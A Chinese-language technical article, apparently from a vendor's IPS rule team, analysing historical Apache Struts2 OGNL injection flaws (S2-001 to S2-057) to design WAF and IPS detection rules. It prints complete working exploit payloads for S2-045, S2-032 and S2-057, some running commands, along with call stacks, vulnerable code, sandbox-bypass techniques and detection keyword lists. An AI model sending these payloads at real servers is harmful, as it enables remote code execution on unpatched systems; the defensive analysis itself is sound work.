您好,登錄后才能下訂單哦!
這篇文章的內容主要圍繞如何從防護角度看Struts2歷史漏洞進行講述,文章內容清晰易懂,條理清晰,非常適合新手學習,值得大家去閱讀。感興趣的朋友可以跟隨小編一起閱讀吧。希望大家通過這篇文章有所收獲!
Struts2漏洞是一個經典的漏洞系列,根源在于Struts2引入了OGNL表達式使得框架具有靈活的動態性。隨著整體框架的補丁完善,現在想挖掘新的Struts2漏洞會比以前困難很多,從實際了解的情況來看,大部分用戶早就修復了歷史的高危漏洞。目前在做滲透測試時,Struts2漏洞主要也是碰碰運氣,或者是打到內網之后用來攻擊沒打補丁的系統會比較有效。
網上的分析文章主要從攻擊利用的角度來分析這些Struts2漏洞。作為新華三攻防團隊,我們的一部分工作是維護ips產品的規則庫,今天回顧一下這個系列的漏洞,給大家分享一些防護者的思路,如果有遺漏或者錯誤,歡迎各位大佬指正。
研究Struts2的歷史漏洞,一部分原因為了review以前的ips、waf的防護規則。開發規則的時候,我們認為有幾個原則:
1、站在攻擊者的角度思考;
2、理解漏洞或者攻擊工具的原理;
3、定義漏洞或者攻擊工具的檢測規則時,思考誤報、漏報的情況。
如果安全設備不會自動封ip,那么防護規則是有可能被慢慢試出來的。如果規則只考慮了公開的poc規則寫得太過嚴格,是可能被繞過的,所以有了這次review。先來看看Struts2的歷史漏洞的原理。
一般攻擊者在攻擊之前會判斷網站是Struts2編寫,主要看有沒有鏈接是.action或者.do結尾的,這是因為配置文件struts.xml指定了action的后綴
<constant name="struts.action.extension" value="action,," />
但是上述這個配置文件解析之后,不帶后綴的uri也會被解析稱為action的名字。如下:
如果配置文件中常數extension的值以逗號結尾或者有空值,指明了action可以不帶后綴,那么不帶后綴的uri也可能是struts2框架搭建的。
如果使用Struts2的rest插件,其默認的struts-plugin.xml指定的請求后綴為xhtml,xml和json
<constant name="struts.action.extension" value="xhtml,,xml,json" />
根據后綴不同,rest插件使用不同的處理流程,如下請求json格式的數據,框架就使用了JsonLibHandler類對輸出進行處理。
xhtml和xml結尾的請求則使用HtmlHandler和XStreamHandler分別處理。所以在測試的時候,不能明確判斷網站使用的是否為struts2框架時,特別是碰到后兩種情況,都可以拿工具去試試運氣。
Struts2的動態性在于ongl表達式的可以獲取到運行變量的值,并且有機會執行函數調用。如果可以把惡意的請求參數送到ognl的執行流程中,就會導致任意代碼執行漏洞。ognl表達式的執行在Ognl相關的幾個類里面,配置好調試環境后,對OgnlUtil類的getvalue或compileAndExecute函數下斷點,就根據參數判斷poc調用的流程,分析執行的原理了。
2.2.1 S2-045,S2-046
以S2-045為例,查看web工程目錄的payload是
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
斷點攔截情況
根據堆棧查看信息
getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)
根據堆棧可以定位到漏洞原因,查看到Dispatcher函數,發現如果content-typ字段包含了multipart/form-data字符串,就會把請求封裝成MultiPartRequestWrapper,走到了JakartaMultiPartRequest類的流程中
if (content_type != null && content_type.contains("multipart/form-data")) {
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
如果處理出錯,就會調用buildErrorMessage函數構造報錯信息。
try {
multi.parse(request, saveDir);
for (String error : multi.getErrors()) {
addError(error);
}
} catch (IOException e) {
if (LOG.isWarnEnabled()) {
LOG.warn(e.getMessage(), e);
}
addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
}
后續調用過程是buildErrorMessage --->LocalizedTextUtil.findText --->TextParseUtil. translateVariables ---->OgnlUtil.getValue ,補丁修改是buildErrorMessage不調用LocalizedTextUtil.findText函數,這樣報錯后提交的輸入就到不了ognl模塊了。S2-046也是用到045的相同模塊,總體來看,045和046是17年上半年出現的漏洞,漏洞用到的是框架本身,限制條件少, 算是比較好用的Struts2漏洞了(雖然成功率也非常低)。可以看到現在網絡上大量的自動化掃描器或者蠕蟲,都自帶045和046,ips設備每天能收到大量此類日志。
2.2.2 S2-001
往前看,比較好用的漏洞中比較有代表性的有S2-001(S2-003,005,008年代比較久遠,后來出現了比較好用的新漏洞,所以這些漏洞用的人很少,對應Struts2的版本也很低),001是Struts2框架最剛開始出現的第一個漏洞,跟045的執行過程也比較接近,都是經由TextParseUtil. translateVariables執行OGNL表達式,TextParseUtil是文本處理的功能類。不同的是S2-001是在把jsp生成java類的時候,會對表單提交的參數調用evaluateParams從而調用文本處理類的OGNL求值功能。調用堆棧如下:
translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D
提交就能觸發漏洞
2.2.3 S2-016
接著是S2-016,以及S2-032,S2-033,S2-037,這幾個漏洞比較接近,其中S2-016是比較好用的,由于年代太過久遠了,現在已經幾乎不可能利用成功,但是這個漏洞由于太經典,還是值得看看。
獲取路徑的Payload是:
redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
直接在uri后面跟redirect標簽
調用棧:
getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)
代碼注釋意為, 在Struts2框架下如果mapping能直接獲得結果,就調用結果對象的execute函數。
Uri標簽中的redirect,對應的是ServletRedirectResult這個結果,構造函數如下,是DefaultActionMapper構造的時候順帶構造好的,
public DefaultActionMapper() {
prefixTrie = new PrefixTrie() {
{
put(METHOD_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (allowDynamicMethodCalls) {
mapping.setMethod(key.substring(
METHOD_PREFIX.length()));
}
}
});
put(ACTION_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
int bang = name.indexOf('!');
if (bang != -1) {
String method = name.substring(bang + 1);
mapping.setMethod(method);
name = name.substring(0, bang);
}
}
mapping.setName(name);
}
});
而這個ServletRedirectResult結果在解析Uri的時候,就會被設置到mapping對象中,調用棧如下:
execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)
后續ServletRedirectResult的execute函數執行后,經由conditionalParse調用文本處理類TextParseUtil的translateVariables函數進入Ognl的流程,代碼得到執行。
2.2.4 S2-032,S2-033,S2-037
S2-032是框架本身漏洞,不過利用有個前提條件,需要開啟動態方法執行的配置
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
S2-033和S2-037則是rest插件漏洞,一般來說插件漏洞利用還是比較困難的,因為開發網站的時候不一定會用到這個插件。S2-032的payload如下:
http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig
跟S2-016一樣,也是uri中帶特殊標簽,其漏洞點也在DefaultActionMapper類的構造函數, struts.mxl文件中配置了DynamicMethodInvocation后,構造mapping的時候會滿足if語句,設置method屬性為冒號后的OGNL表達式
public DefaultActionMapper() {
prefixTrie = new PrefixTrie() {
{
put(METHOD_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (allowDynamicMethodCalls) {
mapping.setMethod(key.substring(METHOD_PREFIX.length()));
}
}
});
在調用完Struts2默認的攔截器后,進入DefaultActionInvocation的調用函數invokeAction,后者直接調用Ognl表達式的執行。
S2-032和S2-037也是通過這個步驟得到執行的,不同的是這兩漏洞是基于rest插件的。rest插件使得struts2框架的請求具備restful風格,參數直接放在uri里面提交,而非問號后面的字符串。如下為正常的請求:
漏洞利用payload為:
http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable
payload將正常的edit方法替換成了ognl代碼。rest插件使用的是RestActionMapper來解析uri,生成mapping,在其getMapping函數內,解析uri設置了method變量,
int lastSlashPos = fullName.lastIndexOf(47); String id = null; if (lastSlashPos > -1) { int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1); if (prevSlashPos > -1) { mapping.setMethod(fullName.substring(lastSlashPos + 1)); fullName = fullName.substring(0, lastSlashPos); lastSlashPos = prevSlashPos; }
而后跟032一樣,也是通過ognl表達式來調用這個方法的時候,執行了惡意的命令
S2-037跟S2-032漏洞點一致,是對補丁的繞過,應該是Struts2.3.28.1沒有修復好。
這兩個漏洞是16年的,也需要非常好的運氣才能利用,畢竟依賴rest插件且年代久遠。
2.2.5 S2-052
這個漏洞跟傳統的Struts2漏洞不同的是,并不是利用ognl表達式執行的代碼,而是使用unmarshal漏洞執行代碼。缺點就是也要用到rest插件,并且對jdk版本有要求,要大于等于1.8,使用JDK 1.7測試報錯如下
使用JDK 1.8測試能正常執行命令。
由于使用的不是ongl表達式執行的漏洞,防護思路也跟Struts2的常規防護有區別,后續可以跟weblogic系列漏洞合并分析。
2.2.6 S2-057
S2-057的代碼執行有2個條件:
1、需要開啟alwaysSelectFullNamespace配置為true,一般提取請求中uri的時候,會對比配置文件中的namespace,匹配上了選取最長的一段作為此次請求的namespace。但是如果這個參數設置為true,就不做對比,直接提取action前面的所有字符串作為namespace。
protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
int lastSlash = uri.lastIndexOf(47);
String namespace;
String name;
if (lastSlash == -1) {
namespace = "";
name = uri;
} else if (lastSlash == 0) {
namespace = "/";
name = uri.substring(lastSlash + 1);
} else if (this.alwaysSelectFullNamespace) {
namespace = uri.substring(0, lastSlash);
name = uri.substring(lastSlash + 1);} else {
例如payload使用
GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1
標紅的整體ognl攻擊表達式會被提取成為namespace。
2、使用了服務器跳轉的結果,這里的要求是配置了actionChaining類型的action,在配置action結果的時候,使用redirectAction(ServletActionRedirectResult類),chain(ActionChainResult類),postback(PostbackResult類)作為結果類型。
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
<action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
<result type="chain">xxx</result>
</action>
<action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
<result type="postback">
<param name = "actionName">register2</param>
</result>
</action>
</package>
這樣在處理result結果的時候,會把namespace送到ognl引擎執行。例如redirectAction(ServletActionRedirectResult類)的情況,分發器disptacher會根據action的結果,把流程傳給ServletActionRedirectResult的execute函數,后者通過setLocation設置302跳轉的目的地址到自己的location變量(包含了ognl惡意代碼的namespace),
public void execute(ActionInvocation invocation) throws Exception {
this.actionName = this.conditionalParse(this.actionName, invocation);
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
} else {
this.namespace = this.conditionalParse(this.namespace, invocation);
}
if (this.method == null) {
this.method = "";
} else {
this.method = this.conditionalParse(this.method, invocation);
}
String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
this.setLocation(tmpLocation);
super.execute(invocation);
}
然后調用父類ServletRedirectResult的execute函數 ----> 調用父類StrutsResultSupport的execute函數
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}
protected String conditionalParse(String param, ActionInvocation invocation) {
return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
}
其中conditionalParse是條件調用TextParseUtil.translateVariables進行ognl的執行流程,這個條件是滿足的,參數就是之前設置的location變量,因此代碼得到執行。
Struts2的每一輪新的漏洞,既包含了新的Ognl代碼執行的點,也包含Struts2的沙盒加強防護的繞過,而每一輪補丁除了修復Ognl的執行點,也再次強化沙盒,補丁主要都是通過struts-default.xml限制了ognl使用到的類和包,以及修改各種bean函數的訪問控制符。最新版本Struts2.5.20的Struts-default.xml,限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder這幾個類訪問,導致漏洞利用時無法使用構造函數、進程創建函數、類加載器等方式執行代碼,限制com.opensymphony.xwork2.ognl這個包的訪問,導致漏洞利用時無法訪問和修改_member_access,context等變量。
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
com.opensymphony.xwork2.ActionContext" />
<!-- this must be valid regex, each '.' in package name must be escaped! -->
<!-- it's more flexible but slower than simple string comparison -->
<!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->
<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames"
value="
ognl.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.rhino.,
sun.reflect.,
javassist.,
org.objectweb.asm.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
調試時,可以對SecurityMemberAccess的isAccessible函數下斷點觀察ognl的沙盒防護情況。
public boolean isAccessible(Map context, Object target, Member member, String propertyName) {
LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName);
if (this.checkEnumAccess(target, member)) {
LOG.trace("Allowing access to enum: {}", target);
return true;
} else {
Class targetClass = target.getClass();
Class memberClass = member.getDeclaringClass();
if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) {
LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName);
if (!this.isClassExcluded(member.getDeclaringClass())) {
targetClass = member.getDeclaringClass();
}
}
一般的ips、waf規則,可以從兩個方向進行檢測,一個是檢測漏洞發生點,另外一個是檢測利用的攻擊代碼。Struts2有一些老的漏洞,很多是url中或者post表單中提交ognl代碼,從漏洞點來看并不是太好做檢測,所以一般的檢測規則還是檢查ognl代碼,配合漏洞發生點。結合payload來看,ognl代碼的構成,技術性最強的ognl代碼是045和057的兩個payload,還是從045的payload來看
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
OgnlContext的_memberAccess變量進行了訪問控制限制,決定了哪些類,哪些包,哪些方法可以被ognl表達式所使用。045之前的補丁禁止了_memberAccess的訪問:
#container=#context['com.opensymphony.xwork2.ActionContext.container'])
payload通過ActionContext對象得到Container:
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
然后用Container的getInstance方法獲取到ognlUtil實例:
#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()
通過ognlUtil的公開方法清空禁止訪問的類和包,后面則是常規的輸出流獲取和函數調用。這個ognl的payload比較典型,可以檢測的點也比較多。
一般來說,ips或者waf的Struts2規則可以檢測沙盒繞過使用的對象和方法,如 _memberaccess,getExcludedPackageNames,getExcludedClasses,DEFAULT_MEMBER_ACCESS都是很好的檢測點,防護規則也可以檢測函數調用ServletActionContext@getResponse(獲取應答對象),java.lang.ProcessBuilder(進程構建,執行命令),java.lang.Runtime(運行時類建,執行命令),java.io.FileOutputStream(文件輸出流,寫shell),getParameter(獲取參數),org.apache.commons.io.IOUtils(IO函數)。不太好的檢測點包括com.opensymphony.xwork2.ActionContext.container這種字典的key或者包的全名,畢竟字符串是可以拼接和變形的,這種規則很容易繞過。其他時候規則提取的字符串盡量短一些,避免變形繞過。
測試發現有的waf產品規則只檢測DEFAULT_MEMBER_ACCESS和_memberaccess這兩個字符串之一,看起來很粗暴,有誤報風險,不過檢測效果還是不錯的, Ognl表達式由于其靈活性,存在一些變形逃逸的,但是S2-016之后的漏洞要繞過沙盒很難避開這兩個對象及相關函數調用。繞過可以參考ognl.jjt文件,這個文件定義了ognl表達式的詞法和語法結構,ognl的相關解析代碼也是基于這個文件生成的,所以一般的繞過也可以基于此文件展開。
感謝你的閱讀,相信你對“如何從防護角度看Struts2歷史漏洞”這一問題有一定的了解,快去動手實踐吧,如果想了解更多相關知識點,可以關注億速云網站!小編會繼續為大家帶來更好的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。